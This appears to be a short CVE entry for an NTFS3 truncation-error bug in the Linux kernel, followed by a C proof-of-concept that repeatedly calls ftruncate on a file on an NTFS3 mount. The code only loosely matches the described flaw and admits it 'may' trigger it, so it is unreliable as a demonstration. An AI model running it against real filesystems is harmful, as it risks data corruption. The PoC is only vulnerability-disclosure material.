CVE-2025-71289 Linux内核NTFS3截断错误忽略漏洞

/* * PoC for CVE-2025-71289 * This code demonstrates the logic issue where truncation errors * in the NTFS3 driver might be ignored. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> int main() { // Target file on an NTFS3 mounted filesystem const char *file_path = "/mnt/ntfs_share/vulnerable_file.dat"; int fd; fd = open(file_path, O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("[-] Failed to open file"); return 1; } printf("[+] File opened. Attempting to trigger truncation bug...\n"); // Repeatedly attempt to truncate the file to induce error conditions // Depending on the specific state of the FS, this may trigger the ignored error path. for (int i = 0; i < 10; i++) { if (ftruncate(fd, i * 1024) != 0) { perror("[-] Truncate failed"); } } close(fd); printf("[+] Done. Check system logs for inconsistencies.\n"); return 0; }